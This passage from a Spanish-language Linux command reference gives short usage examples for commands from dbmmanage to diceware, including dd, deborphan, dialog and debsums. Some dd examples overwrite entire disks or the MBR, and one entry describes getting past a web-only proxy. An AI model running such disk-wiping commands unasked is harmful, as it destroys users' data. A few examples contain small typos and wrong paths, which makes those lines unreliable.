# dbmmanage archivo adduser USER
añadir un usuario a una base de datos "archivo"
```

```
# dbmmanage archivo delete USER
eliminar un usuario
```

## dbus-test-runner

Ejecutable para ejecutar un par de programas bajo una nueva sesión DBus. Esta herramienta hace pruebas unitarias de código de acceso a DBus en tiempo de ejecución.

```
$ dbus-test-runner
de todos los parámetros por defecto
```

## dc

calculadora. Los operadores se colocan antes que sus operandos.

```
$ echo "5 2 + p" | dc
Se introducen dos números [5 y 2] se indica la operación a realizar [+] y que muestre el resultado [p]
```

```
$ echo "4 6 + 2 * 4 / p" | dc
```

```
$ echo "40034291 23 % p " | dc
Da el resto de la división
```

## dconf

Restablece los parámetros o configuración por defecto de entornos de escritorio Unity, GNOME y MATE.

```
$ dconf reset -f /
```

## dcfldd

Versión moderna de `dd` que muestra el progreso así como informar si se producen errores. Soporta en teoría los mismos parámetros que el comando `dd` original

```
# dcfldd if=imagen.iso of=/dev/sde bs=1M
```



## dd

Crea imagenes de discos, particiones ...

```
$ dd if=/dev/zero of=/dev/hda
escribe ceros en todo el disco
```

```
$ dd if=/dev/urandom of=/dev/hda
llena el disco de números aleatorios
```

```
$ dd if=/dev/hdx of=backup-mbr bs=512 count=1
crea una copia de seguridad del mbr
```

```
$ dd if=backup-mbr of=/dev/hda bs=512 count=1
la restaura
```

```
$ dd if=mbr of=/dev/hda
Restaurarla
```

```
$ dd if=/dev/hda1 of=/dev/hda3
copiar una partición
```

```
$ dd if=/hda of=/hdb bs=1M
copiar un disco en bloques de 1 mega
```

```
$ dd conv=noerror if=/dev/cdrom of=imagen_con_errores.img
Evitar que los errores impidan copiar datos. útil en la recuperación de CDs o discos dañados
```

```
$ dd if=/dev/sda of=/dev/sdb conv=noerror,sync
Realizar una copia exacta de una partición, evitando que los errores impidan copiarla
```

```
$ time dd if=/dev/zero of=TEST bs=4k count=512000
Realizar un test de velocidad del disco duro
```

```
$ dd if=/dev/sda1 of=copia_seguridad.tar | pv
copiar mostrando barra de progreso
```

```
$ dd if=/dev/sdc bs=4096 dd of=/home/usuario/copia_seguridad | pv -s 2G
Lo mismo que el anterior
```

```
$ dd if=/dev/hda of=/home/hda.iso
Crear una imagen iso de una partición
```

```
$ dd if=/dev/hda | gzip > /home/hda.bin.gz
Crear una imagen comprimida
```

```
$ dd bs=1M if=/dev/sda4 | ssh usuario@host 'dd of=/home/usuario/sda4.img'
crear una imagen de una partición local en un pc remoto
```

```
$ dd if=/dev/cdrom of=~/cd_image.iso
Crear una ISO del cd
```

```
# dd if=/dev/sda | pv | dd of=/dev/sdb bs=1M
Clonar partición viendo gráfico del proceso
```

## ddate

Convierte fechas gregorianas en fechas subrealistas. Algunas opciones coinciden con las de "date" (ver)

```
$ ddate
forma básica
```

```
$ ddate +%d-%B-%Y
```

```
$ ddate +'Hoy es %A, el %e de %B%, %Y. %N%nCelebrate %H'
```

## ddccontrol

Herramienta que se utiliza para controlar los parámetros del monitor, como el brillo y el contraste.

```
# ddccontrol -p
sondear dispositivos i2c
```

```
# ddccontrol -r 0x10 dev:/dev/i2c-4
leer el valor del control 0x10 [brillo en monitores compatibles con VESA] para el dispositivo dev
:/dev/i2c-4
```

## ddclient

Configurar pc con una ip fija. Requiere registro en dyndns.org. Durante la instalación preguntará los datos del registro pero si se prefiere puede editarse el archivo de configuración y colocarlos a mano

```
# gedit /etc/ddclient.conf
```

Completar los campos login y password con los datos correspondientes:

```
protocol=dyndns2
```

```
use=web, web=checkip.dyndns.com, web-skip='IP Address'
```

```
server=members.dyndns.org
```

```
login=Nombre_registrado_en_dyndns
```

```
password='contraseña_de_dyndns'
```

```
nombre_de_dominio.com
```

## ddcutil

Utilidad para consultar y cambiar la configuración del monitor.

```
# ddcutil detect
detectar la configuración
```

```
# ddcutil detect --brief
informe resumido de cada pantalla detectada
```

```
# ddcutil capabilities
características del monitor
```

```
# ddcutil environment
Probar el entorno de instalación de ddcutil
```

```
# ddcutil probe
Explorar las capacidades y características de un solo monitor
```

## ddgr

Utilidad para hacer búsquedas con DuckDuckGo desde la terminal. Abrir las búsquedas con el navegador predeterminado a menos que se lance:

```
$ export BROWSER=w3m
```

```
$ ddgr linux emacs
```

Las teclas que se usan son las del navegador escogido

## ddrescue

[make gcc g++]. Recuperación de discos dañados. Proceso:

Descargar el paquete dd\_rhelp (Comprobar si existe una versión posterior):

```
$ wget http://www.kalysto.org/pkg/dd_rhelp-0.1.2.tar.gz
```

```
$ cd dd_rhelp-0.1.2
```

```
# ./dd_rhelp /dev/sdbx sdbx.img
```

Crearé sdbx.img en el directorio actual, que podrá montarse:

```
# mount -o loop sdbx.img /media/imagen
```

Comprobar posibles errores (para partición ext3):

```
# fsck -y sdbx.img
```

Restaurar la imagen:

```
# dd_rhelp sdbx.img /dev/sdax
```

Método de ejecutar ddrescue en dos pasadas, de forma que la primera sólo recupera los bloques que no contenga sectores defectuosos y el segundo se centre en recuperar el máximo de los defectuosos:

```
# ddrescue -v -n /dev/sda /dev/sdb sda.txt
```

```
# ddrescue -v -r2 -d /dev/sda /dev/sdb sda.txt
```

Luego comprobar errores con fsck.

## ddupdate

Actualiza las direcciones IP dinámicas que normalmente se obtienen mediante DHCP con servicios DNS dinámicos como changeip.com, duckdns.org o no-ip.com entre otros. Crear el archivo:

```
# nano /etc/ddupdate.conf
```

Con el siguiente contenido:

```
[update]
address-plugin = default-if
service-plugin = dry-run
hostname = NOMBRE.duckdns.org
ip-version = v4
loglevel = warning
```

```
# ddupdate -H NOMBRE.duckdns.org
```

```
# ddupdate -S
```

```
mostrar servicios de dns
```

## deallocvt

Libera memoria y estructuras de datos del núcleo para todas las consolas virtuales que no se usen. Una consola virtual se considera en desuso si no es la consola en primer plano, ni ningún proceso la tiene abierta para lectura o escritura, ni se ha seleccionado ningún texto en su pantalla. Ver openvt

```
# deallocvt
Las desasigna todas
```

```
# deallocvt 5
Sólo desasigna la /dev/tty5
```

Un ejemplo de uso:

```
# openvt -s ls
lanzara el comando ls en la primera consola virtual libre. Normalmente la /dev/tty8
```

```
# deallocvt 8
```

## deb

Extensión de los paquetes para distros Debian.

1.-

Crear un paquete para esta distro a partir de un script:

```
$ mkdir deb
En ese directorio recrear la estructura destino que queremos utilizar. En nuestro caso /usr/bin,
el directorio para el icono y permisos:
```

```
$ mkdir -p deb/usr/bin
$ mkdir -p deb/usr/share/applications
Copiar el script en el bin creado:
```

```
$ cp script deb/usr/bin
Crear el subdirectorio DEBIAN:
```

```
$ mkdir deb/DEBIAN
En su interior el fichero control:
```

```
$ nano deb/DEBIAN/control
En el que pegamos datos del paquete:
```

Package: nombre\_que\_queremos

Priority: optional

Section: misc

Maintainer: el\_mantenedor

Architecture: all

Version: 1.0

Depends: las\_dependencias\_del\_paquete

Description: Pequeña\_descripción\_de\_la\_maravilla

Este script .... para ..... de ..... aquello.....

Notas: En el nombre del paquete (Package) no se admiten espacios ni barras bajas) y en la descripción (Description) el primer carácter de la segunda línea es un espacio y al final del texto, darle al intro para que ponga una línea vacía. Las dependencias que pongamos en Depends son las que se instalarán con la instalación del .deb.

Crear el paquete menu en el mismo directorio:

```
$ nano deb/DEBIAN/menu
Y en su interior pegar:
```

```
?package(nombre_script):needs="X11" \
```

```
section="Applications/Network/Monitoring" \
title="Suport VNC" command="gnome-terminal -e script_que_sea" \
icon="/usr/share/pixmaps/gnome-term-linux2.png"
Notas: Nombre del paquete, que precisa de las X (X11), donde se colocará en el menú Aplicaciones (
otras opciones: section=Apps/Multimedia...), el comando que lo lanzará (gnome-terminal -e
script) y el icono que hemos escogido. Crear el archivo nombre_script.desktop para los datos
del icono:
```

```
$ gedit deb/usr/share/applications/nombre_script.desktop
Y pegar el siguiente contenido:
```

```
[Desktop Entry]
Version=1.0
Name=Nombre_script
GenericName=Nombre_script
Comment=Pequeño_comentario
Exec=Nombre_script_que_lo_lanzará
Terminal=true
Type=Application
Categories=Application;Network;
Icon=gnome-term-linux2.png
StartupNotify=true
```

Nota.- también varios modelos de iconos en:

```
$ ls /home/usuario/.local/share/applications/
Cambiar el propietario del directorio:
```

```
# chown -R root.root deb
Finalmente crear el paquete .deb y que lo coloque en el escritorio:
```

```
# dpkg -b deb /home/usuario/Escritorio/nombre.deb
2.-
```

Crear un paquete a partir de un tar.gz:

Para el ejemplo usaremos el paquete picpuz, un juego para crear puzles a partir de una fotografia, que aunque tenga versión .deb, para el caso nos sirve.

Crear carpeta de trabajo y entrar en ella:

```
$ mkdir picpuz
$ cd picpuz
Descargar y descomprimir el tar.gz y entrar en la carpeta descomprimida:
```

```
$ wget http://kornelix.squarespace.com/storage/downloads/picpuz-2.2.tar.gz
```

```
$ tar xvzf picpuz-2.2.tar.gz
```

```
$ cd picpuz-2.2
```

Crear el nuevo paquete .orig.tar.gz con los estandares de Debian, con licencia gpl3 y generando el paquete desde las fuentes:

```
$ dh_make --createorig -c gpl3 -s
Construir el paquete .deb:
```

```
$ dpkg-buildpackage -rfakeroot
Listar el contenido de un paquete .deb:
```

```
$ ar -tv picpuz_2.2-1_i386.deb
Información y perspectiva general de lo que ofrece el paquete:
```

```
$ dpkg-deb -I picpuz_2.2-1_i386.deb
Listar los ficheros que serán instalados:
```

```
$ dpkg-deb -c picpuz_2.2-1_i386.deb
instalarlo:
```

```
# dpkg -i picpuz_2.2-1_i386.deb
Lo encontraremos en aplicaciones/juegos
```

## debcheckout

Recupera la información sobre el sistema de control de versiones utilizado para mantener un paquete Debian dado y luego verifica la última versión del paquete de su repositorio.

```
$ debcheckout nano
```

```

declared git repository at https://anonscm.debian.org/git/collab-maint/nano.git
git clone https://anonscm.debian.org/git/collab-maint/nano.git nano ...
S'està clonant a 'nano'...
remote: Counting objects: 3577, done.
remote: Compressing objects: 100% (2271/2271), done.
remote: Total 3577 (delta 2489), reused 2148 (delta 1163)
S'estan rebent objectes: 100% (3577/3577), 7.46 MiB | 527.00 KiB/s, fet.
S'estan resolent les deltes: 100% (2489/2489), fet.
$ ls | grep nano
nano
$ ls nano/
ABOUT-NLS      compile      COPYING      install-sh    nano.spec     syntax
aclocal.m4      config.guess COPYING.DOC   lib           nano.spec.in  THANKS
ar-lib          config.h.in  debian       m4            NEWS          TODO
AUTHORS         config.rpath depcomp      Makefile.am   po
ChangeLog       config.sub   doc          Makefile.in   README
ChangeLog.1999-2006 configure   IMPROVEMENTS missing        README.GIT
ChangeLog.2007-2015 configure.ac INSTALL      mkinstalldirs src

```

## debconf

Es un sistema de configuración para paquetes Debian. Debconf proporciona una interfaz consistente para configurar paquetes, permitiéndolo elegir entre varias interfaces de usuario. Permite preconfigurar paquetes antes de instalarlos.

```
$ debconf -f readline sh -x script.sh
con la interfaz [f] y la orden de ejecución [x] para el script mencionado
```

## debdate

Convertir fechas gregorianas en fechas respecto de las versiones de Debian.

```
$ debdate -d 2020-05-20
Today is day 141 of year 2 of the Buster
```

```
$ debdate
```

## debfooster

Mantiene una lista de paquetes instalados que fueron explícitamente solicitados en lugar de ser instalados como una dependencia. Los argumentos son totalmente opcionales y debfooster puede ser invocado después de lanzar dpkg y/o apt-get.

```
# debfooster
```

Las opciones son:

y (guardar paquete. opción por defecto)

n (borrar paquete)

p (que también elimine todos los paquetes que sólo están instalados porque este paquete depende de ellos. Si los hubiera se muestran en la parte superior de la ventana)

s (omitir pregunta. La próxima vez que se ejecute preguntará de nuevo sobre este paquete)

h (imprimir mensaje de ayuda)

i o ? (mostrar información sobre el paquete)

u (deshacer la última opción)

q (salir sin quitar paquetes. Todos los cambios se perderán)

x (Guardar cambios, eliminar los paquetes no deseados y salir)

```
# debfooster -u
recargar la base de datos
```

## debget

[debian-goodies]. Descarga un paquete .deb del repositorio o, caso de estar instalado, muestra la versión.

```
$ debget scribus
```

```
$ debget chromium
```

## debian-faq

Preguntas más frecuentes con sus respuestas sobre la distribución de Debian GNU/Linux y sobre el proyecto Debian. El documento está disponible en <https://www.debian.org/doc/manuals/debian-faq/>. Puede accederse a él con el navegador en la dirección:

```
file:///usr/share/doc/debian/FAQ/index.en.html
```

## debian-goodies

Conjunto de herramientas diseñadas para integrarse con la shell estándar, extendiéndola para operar en el sistema de empaquetado de Debian. Algunas de las dependencias de algunos paquetes que integran esta aplicación son opcionales, sugeridas o obligatorias. Los paquetes que integra son: check-enhancements, debget, debman, debmany, degrep, dfgrep, dglob, dgrep, dhomepage, dman, dpigs, dzegrep, dzfgrep, dzgrep, find-dbgsym-packages, popbugs, which-pkg-broke, which-pkg-broke-build y checkrestart.

## debian-history

Historia de la distro Debian. Los idiomas disponibles son: Inglés, francés, alemán, italiano, japonés, coreano, portugués, ruso y lituano. Colocar en la barra de navegación [para el idioma francés]:

```
http://usr/share/doc/debian-history/fr/index.fr.html
```

## debian-info

Muestra las versiones de las distros debian y ubuntu.

```
$ debian-info --all
de todas
```

```
$ debian-info --stable
la última versión estable
```

```
$ debian-info --testing
la última versión testing
```

## debian-reference

Esta referencia de Debian está destinada a proporcionar una visión general del sistema Debian como una guía del usuario posterior a la instalación. Acceder a ella entrando en el navegador:

```
file:///usr/share/debian-reference/apa.es.html
```

## debian-timeline

Línea de tiempo del proyecto Debian basado en Javascript y HTML: Versiones, bugs, lanzamientos importantes... Colocar en la barra de navegación:

```
http://usr/share/debian-timeline/index.html
```

## debianutils

Proporciona una serie de pequeñas utilidades que son utilizadas principalmente por los scripts de instalación de paquetes Debian, aunque pueden usarse directamente. Dichas utilidades son:

ischroot, savelog, which.debianutils, add-shell, remove-shell y update-shells.

## debootstrap

Instalar un sistema Debian dentro de un directorio de nuestro sistema para hacer pruebas o realizar instalaciones de otra arquitectura diferente.

```
# mkdir /mnt/debian-i386/
Crear el directorio
```

```
# debootstrap --arch=i386 wheezy /mnt/debian-i386/ http://ftp.debian.org/debian/
```

```
# chroot /mnt/debian-i386
Entrar en el nuevo sistema. Ver chroot
```

## deborphan

Visualizar paquetes huérfanos

```
$ deborphan --guess-all
Los muestra todos
```

```
# apt-get remove $(deborphan --guess-all)
borra todos los mostrados
```

```
# deborphan
para ver las librerías huérfanas
```

```
# dpkg -l $(deborphan)
lo mismo que el anterior con más detalles
```

```
# sudo dpkg --purge $(deborphan)
eliminar los paquetes huérfanos
```

```
# apt-get remove `deborphan` (Lo mismo)
```

```
# dpkg -l $(deborphan --find-config)
para borrar configuraciones que no se han borrado tras la desinstalación de un paquete
```

```
# dpkg --purge $(deborphan --find-config)
para eliminarlos
```

```
# apt-get remove $
deborphan --guess-all
```

Nota.- Normalmente estas aplicaciones han de repetirse varias veces hasta que al lanzar el comando no salga ninguna archivo huérfano.

```
# deborphan | xargs sudo apt-get -y remove --purge
otra forma de eliminar paquetes huérfanos
```



## debsecan

Efectúa una evaluación de seguridad del sistema y muestra las vulnerabilidades conocidas y asociadas a los paquetes instalados, notificando al administrador (root) los resultados.

```
# debsecan-create-cron
ejecutar diariamente

# dpkg-reconfigure debsecan
realizar una correcta configuración

# debsecan --suite buster --format report --update-history
escaneos

# debsecan --suite buster --only-fixed
otro tipo de escaneo

# debsecan --update-history
actualizar el archivo histórico después de la presentación de informes
```

## debsums

Verificar la integridad de los ficheros.

```
# debsums -s &> log.txt
Modo silencioso [-s] y redirigiendo el resultado a un archivo para posterior análisis

# cat log.txt | grep "mismatch" | cut -d " " -f4 | uniq > reinstall.txt
A partir del archivo anterior, listar los que se han de reinstalar

# debsums -s | grep "mismatch" | cut -d " " -f4 | uniq > reinstall.txt
Lo mismo

# apt-get install --reinstall `(cat reinstall.txt)`
para instalarlos a partir del listado
```

## debtree

Genera gráficos en forma de archivo .dot de las dependencias de un paquete .deb.

```
$ deptree apt > apt.dot

$ dot -Tpng -o apt.png apt.dot
crear el png con dot

$ gpview apt.png
visualizar el gráfico generado con deptree
```

## debugfs

Depurador de sistemas ext. Permite consultar datos del sistema en tiempo real.

```
# debugfs
Entra en el prompt de la aplicación. Pulsar letra "q" para salir del prompt

debugfs 1.42 (29-Nov-2011)

debugfs: help (Muestra un listado de todas las opciones)

debugfs: open /dev/sda2 (Abre un sistema de archivos)

debugfs: stats (información de los superbloques)

# debugfs /dev/hda4

# debugfs -R 'stat <1706790>' /var/log/syslog
```

Nota.- El nodo lanzando:

```
# stat /var/log/syslog
```

## declare

Listar las variables de entorno. En caso de que una función tenga el mismo nombre que un script tiene preferencia la función. Usado principalmente en scripts.

```
$ declare -f
Imprime las funciones alfabeticamente y su definición
```

```
$ declare -f funcion
Mostrará la especificada
```

```
$ declare -F
Lista sólo los nombres de la funciones
```

```
$ declare -p var
Saber el tipo de la variable "var"
```

```
$ declare -i var=5
Declarar una variable de tipo entero
```

## decode-dimms

Herramienta para decodificar la información que se encuentra en las EEPROMs SPD de los módulos de memoria. La herramienta requiere que se cargue un módulo del núcleo: eeprom, at24 o ee1004 (para DDR4 SDRAM.)

```
$ decode-dimms
información por pantalla
```

```
$ decode-dimms -f
en formato .html
```

## deepin-terminal

Emulador de terminal avanzado con espacio de trabajo, múltiples ventanas, administración remota y otras características.

```
$ deepin-terminal
```

## defaults

Permite leer y modificar los valores predeterminados de un usuario. Este programa reemplaza los antiguos programas dread, dwrite y dremove. Si se tiene acceso a la base de datos predeterminada de otro usuario, se puede incluir '-u nombre de usuario' antes de cualquier otra opción para usar la base de datos de ese usuario en lugar de la suya.

```
$ defaults readkey key
leer nombre predeterminado de todos los dominios
```

```
$ defaults write domain key 'value'
escriba 'value' como 'key' predeterminada en el dominio [entre comillas simples]
```

```
$ defaults write domain dictionary
escriba 'dictionary' como reemplazo del dominio especificado. 'dictionary' debe ser una lista de propiedades entre comillas simples
```

```
$ defaults write
lee la entrada estándar para valores predeterminados y los escribe en la base de datos
```

```
$ defaults delete [ domain [ key] ]
eliminar los valores predeterminados especificados del 'domain'. Si no se proporciona ninguna 'key', elimine todo el dominio
```

```
$ defaults delete
eliminar los valores predeterminados
```

## D

```
$ defaults domains
enumera los dominios en la base de datos uno por línea
```

```
$ defaults find word
busca nombres de dominio, nombres predeterminados y cadenas de valores predeterminados iguales a la palabra 'word' y los enumera por pantalla
```

```
$ defaults plist
información sobre las listas de propiedades
```

```
$ defaults help
lista de opciones
```

## defmt-sh

Permite usar ispell con la opción -F para verificar scripts de shell y cualquier otro lenguaje que use "#" para comentarios y mismos estilos de comillas como C y C++ pero en este caso habla que usar el programa defmt-c

```
$ ispell -F defmt-sh
para scripts shell
```

```
$ ispell -F defmt-c
para C y C++
```

## delgroup

Elimina un grupo del sistema

```
# delgroup grupo
```

## delpart

Pide al núcleo Linux que se olvide de un dispositivo en la partición especificada (un número). Este comando no manipula particiones.

```
# delpart dispositivo partición
```

## deluser

Elimina un usuario del sistema sin borrar su directorio.

```
# deluser usuario
```

## delv

Utilidad de búsqueda y validación DNS. La aplicación enviará a un servidor de nombres especificado todas las consultas necesarias para obtener y validar los datos solicitados. La forma básica de ejecución es:

```
$ delv servidor nombre tipo
el servidor puede ser una dirección IP, una dirección IPv4 en notación decimal con puntos o una dirección IPv6 en notación delimitada por dos puntos. El nombre es el nombre de dominio que debe buscarse. El tipo de consulta puede ser cualquiera válido [ANY, A, MX, etc]. Si no se proporciona ninguno realizará una búsqueda de un registro A
```

## denyhosts

Protege contra ataques.

Configuración:

```
# nano /etc/denyhosts.conf
```

Algunas opciones:

```
SECURE_LOG = /var/log/auth.log (Ruta a los logs)
DENY_THRESHOLD_INVALID = 5 (Intentos fallidos permitidos con una cuenta que no existe)
DENY_THRESHOLD_VALID = 5 (Intentos fallidos con usuarios validos)
PURGE_DENY =5d (Tiempo de baneo de una IP. 5 días en este caso)
BLOCK_SERVICE = sshd (Servicios que queremos proteger [ sshd, ALL...])
Nota.- Tambien es posible arrancar el servicio con la opción "purge" [/etc/init.d/denyhosts start
--purge] para eliminar las ips bloqueadas y que se muestran en /etc/hosts.deny
```

## depmod

Analiza los módulos del núcleo [/lib/modules/\*] y crea una lista de dependencias. De forma predeterminada, esta lista se escribe en módulos.dep y una versión binaria con hash denominada módulos.dep.bin, en el mismo directorio.

```
$ depmod -a
Sondear todos los módulos. Opción predeterminada si no se proporcionan nombres de archivo en la
línea de comandos
```

## descriptor

Toda aplicación tiene siempre tres descriptores de fichero abiertos, el 0 para la entrada estándar [stdin], el 1 para la salida estándar [stdout], y el 2 para la salida de errores estándar [stderr]. Del 3 al 9 son descriptores adicionales [ver tuberías]. En el ejemplo:

```
$ ls -a >> listado.txt
```

La salida estándar [descriptor 1] se envía al fichero listado.txt, consecuentemente en pantalla no veremos nada. En el caso:

```
$ ls -zy >> listado.txt
```

El error [descriptor 2] se mostrará por pantalla y listado.txt permanecerá vacío. Para redirigir el error [descriptor 2] al fichero listado.txt [descriptor 1]:

```
$ ls -zy >> listado.txt 2>&1
```

## desktop-file-utils

Incluye los siguientes ejecutables: desktop-file-edit, desktop-file-install [instala un archivo de escritorio y lo ejecuta en el camino.], desktop-file-validate [ver] [valida un archivo de escritorio] y update-desktop-database [actualiza la asignación desktop-MIME]

## desktop-file-validate

Herramienta para validar archivos de entrada de escritorio de acuerdo con la especificación Desktop Entry 1.0. La especificación describe un formato de archivo para proporcionar información como el nombre, el icono y la descripción de una aplicación.

```
$ desktop-file-validate --no-hints file.desktop
No proporcionar sugerencias sobre cosas que podrían mejorarse en el archivo de escritorio
```

```
$ desktop-file-validate --no-warn-deprecated file.desktop
No advertir sobre el uso de elementos obsoletos
```

```
$ desktop-file-validate --warn-kde file.desktop
Advierte si se utilizan extensiones de KDE para la especificación
```

## desproxy

Permite realizar conexiones TCP/IP a través de proxies que solo ofrecen servicio http [puerto 80], de forma que, aunque el proxy este configurado para permitir únicamente la navegación web, podremos usarlo para acceder a otros servicios.

## detex

Pasar un archivo latex a txt.

```
$ detex -n archivo.tex > archivo.txt
```

## deurlname

[renameutils]. Elimina los caracteres codificados en la URL (como %20 que representa el espacio) de los nombres de los archivos. Algunos programas, por ejemplo w3m, tienden a mantener esos caracteres codificados en los archivos guardados. Útil para guardar archivos que se han descargado de Internet limpiando su URL.

```
$ deurlname omg%20ponnu%20ily%20kannu.mp3
```

## devilspie

Permite especificar el comportamiento de las ventanas para que determinadas aplicaciones se abran en un escritorio concreto. Ha de colocarse en las aplicaciones de inicio.

```
$ mkdir .devilspie
Crear el directorio
```

Crear por cada aplicación un archivo .ds en el directorio:

```
$ nano .devilspie/firefox.ds
```

Con el siguiente contenido a modo de ejemplo:

```
(if
  (is (application_name) "firefox")
  (set_workspace 3)
)
Cada vez que arranquemos firefox, se abrirá en el escritorio número 3.
```

Para saber el nombre de las aplicaciones que corren en cada escritorio:

```
$ nano .devilspie/debug.ds
```

Con el siguiente contenido:

```
(debug)
Cuando arranquemos devilspie por consola, nos las mostrará.
```

## dex

Programa para generar y ejecutar archivos DesktopEntry del tipo de Aplicación.

```
$ dex -ad
informa de los programas que se ejecutan en un arranque automático regular
```

```
$ dex -a
Ejecutar todos los programas en el inicio automático
```

```
$ dex -c /usr/bin/skype
Crear una DesktopEntry para un programa en el directorio actual
```

## df

Mostrar información de las particiones

```
$ df -h
los resultados en M y G, por defecto son en bytes
```

```
$ df -a
de todas las particiones incluso las de 0 bloques
```

```
$ df -t vfat
de las particiones especificadas, en el caso las vfat
```

```
$ df -T
de todas las particiones y el tipo
```

## dglob

Expandir nombres o archivos de paquetes que coincidan con un patron.

```
$ dglob -a goodies
Buscar en todos los paquetes disponibles no solo en los instalados
```

```
$ dglob -n goodies
Buscar en todos los paquetes disponibles sin incluir los instalados
```

## dgrep

Busqueda a través de archivos que pertenecen a un paquete Debian instalado.

```
$ dgrep goodies debian-goodies
```

```
$ dgrep dpigs debian-goodies
```

## dhclient

Cliente DHCP

```
# dhclient eth0
modifica la ip de la máquina
```

```
# dhclient -v -r eth0
Limpiar la ip actual
```

```
# dhclient -v eth0
solicitar ip
```

## dhcpcd

Configuración automática de la red dhcp

```
$ dhcpcd eth0
```

## dhcpping

Enviar una solicitud DHCP a un servidor DHCP para ver si está activo.

```
# dhcpping -v -h 00:23:54:57:FC:78 -s 192.168.1.10 -c 192.168.1.15
Mostrando la máxima información [v], la MAC del servidor DHCP [h] y su ip [s] y nuestra máquina [c]
]
```

## dhelpp

Leer toda la documentación de ayuda de debian con el navegador.

```
$ firefox file:///usr/share/doc/HTML/index.html
```

## dhomepage

[debian-goodies]. Abre, si existe, en el navegador la página de información de un paquete debian.

```
$ dhomepage debian-history
```

## di

Muestra información sobre las particiones con `df` [ver] mejorado.

```
$ di
```

```
$ di -c
```

Salida en CSV, para importar una hoja de cálculo

## dialog

Muestra cuadros de diálogo para scripts

```
$ dialog --calendar "mes de junio" 0 0 1 6 2010
```

"0 0" indica que se autodimensiona el cuadro. El tamaño estándar de una terminal es un ancho de 80 por un largo de 25. "1 6 2010" fecha con formato día/mes/año

```
$ dialog --checklist "Escoger servicios" 0 0 3 vnc "" "" ssh "" "" cups "" ""
```

"3" numero de entradas visibles, si hay más se usará el scroll. Las "" indican parámetros vacíos que puedan sustituirse por palabras o números, el primero de los cuales aparecerá en el cuadro de diálogo [vnc 1 A ssh 2 B cups 3 C]

```
$ dialog --dselect /home/usuario/ 0 0
```

mostrará el contenido del directorio mencionado

```
$ dialog --editbox /etc/fstab 0 0
```

mostrará el contenido del fichero seleccionado

```
$ dialog --fselect /home/usuario/ 0 0
```

Mostrará dos ventanas una con los directorios y la otra con los ficheros

```
$ dialog --gauge "Uso del software libre" 0 0 0
```

Muestra el progreso de un proceso

```
$ for var in 0 10 20 30 40 50 60 70 80 90 100; do sleep 1; echo $var; done | dialog --gauge "Total completado" 6 60 0
```

concatenación de dialogs

```
$ dialog --infobox "Esto va a explotar...." 3 26
```

Un cuadro con un texto

```
$ dialog --sleep 3 --infobox "Esto va a explotar...." 3 26
```

Vuelve al prompt a los 3 segundos

```
$ dialog --sleep 3 --title "AVISO" --infobox "Esto va a explotar en 3 segundos...." 3 40; dialog --infobox "BOOOOOOOMMMM" 0 0
```

Concatenación de dialogs

```
$ dialog --inputbox "Ingrese su nombre" 0 0
```

Solicitar una línea de texto al usuario

```
$ dialog --passwordbox "Ingrese contraseña" 0 0
```

Igual que inputbox pero no se muestra nada de lo que se ingresa en pantalla

## D

```
$ dialog --title "Aquí me las den" --no-cancel --inputbox "Dejame un mensaje cariño" 0 0 ""
Especificando un título, sin el botón de "cancelar" y con cajón para dejar un mensaje
```

```
$ dialog --inputmenu "Nombre del usuario" 0 0 3 " juan Perez" "c/ del Pulgar num 5" "Jose Gonzalez"
" c/ pez num 11"
Permite modificar el segundo concepto [La calle]
```

```
$ dialog --menu "Escoge una distro..." 0 0 3 1 "Arch" 2 "Red Hat" 3 "Ubuntu" 4 "Debian"
```

```
$ dialog --mixedgauge "errores" 0 0 30 ubuntu distros
```

```
$ dialog --msgbox "\n Aquí puedes poner un texto" 0 0
Avisar de una acción o comunicación y separando el texto de la parte superior [\n]
```

```
$ dialog --timeout 10 --clear --passwordbox "Entra la contraseña" 0 0 ""
Especificando un tiempo para entrarla y limpiando la pantalla
```

```
$ dialog --backtitle "Sobre timeout..." --timeout 5 --pause "Espera un rato..." 10 10 5
Esperar 5 segundos antes de volver al prompt y con el título en la parte superior de la ventana
[--backtitle]
```

```
$ dialog --radiolist "Escoger servicios" 0 0 3 vnc "" "" ssh "" "" cups "" ""
parecido a checklist
```

```
$ dialog --no-shadow --tailbox /etc/fstab 0 0
Mostrar últimas líneas de un archivo sin sombreado de la ventana
```

```
$ dialog --timebox "Tiempo de espera" 0 0 22 55 33
```

```
$ dialog --extra-button --timebox "Tiempo de espera" 0 0 22 55 33
Incluir un boton extra
```

```
$ dialog --defaultno --timebox "Tiempo de espera" 0 0 22 55 33
Seleccionando por defecto "cancelar"
```

```
$ dialog --yesno "Quieres pasar a la siguiente opción?" 0 0
Retornara un valor cero, si se selecciona YES o distinto de cero si se selecciona NO. Este valor
se almacena en la variable $? y puede ser evaluado mediante un if, while,...
```

```
$ dialog --tailbox /var/log/fail2ban.log 20 100
muestra en tiempo real las incidencias en el fichero mencionado. Equivalente a tail -f
```

Algunos ejemplos prácticos de su uso en scripts:

1.-

```
#!/bin/bash
```

```
dialog --menu "Opciones del script" 16 60 14 1 "Puertos abiertos" 2 "Intentos de acceso" 3 "las IPs
externas e internas" 4 "Cantidad de intentos de ataques" 5 "Servicios activos" 6 "Salir"
```

```
clear
```

2.-

```
#!/bin/bash
```

```
# Escanear puertos abiertos
```

```
nmapResultat=$(sudo nmap -O localhost | grep "open" | awk '{print$1,$3}')
```

```
dialog --title "Resultado del escaneo de puertos" --msgbox "Los puertos abiertos son:"
```

```
$nmapResultat" 0 0
```

```
clear
```

3.-

```
#!/bin/bash
```

```
# Parar un servicio
```

```
dialog --title "samba" --yesno "Quieres detener samba?" 0 0
```

```
case $? in
```



## D

---

```
0)

sudo /etc/init.d/samba stop

dialog --title "Info" --msgbox "samba detenido" 0 0;;

1)

dialog --title "Info" --msgbox "samba continua activo" 0 0 ;;

255)

dialog --title "Info" --msgbox "ESC presionado... samba activo" 0 0 ;;

esac

clear

$ dialog --title "Mensaje al mundo" --msgbox "\n      Hola a todos" 6 35
$ dialog --yesno "¿Estás de acuerdo?" `tput lines` `tput cols`
$ dialog --menu "Escoger interfaz" 0 0 0 g "gnome" k "kde" x "xfce" 2>&1

4.-

#!/bin/bash
# Respuestas como variables
TMPFILE="/tmp/scripttemp.$$"

dialog --inputbox "Ingrese su nombre" 10 30 2> $TMPFILE

N=`cat $TMPFILE`

dialog --inputbox "Ingrese su edad" 10 30 2> $TMPFILE

E=`cat $TMPFILE`

# Borrar tmpfile
rm -f $TMPFILE

dialog --infobox "$N tiene $E años" 3 50
```

## diceware

Generador de frases de contraseña concatenando palabras seleccionadas al azar de un fichero con una lista de palabras que es opcional.

```
$ diceware
$ diceware -n 3 -c -s 4 -d ?
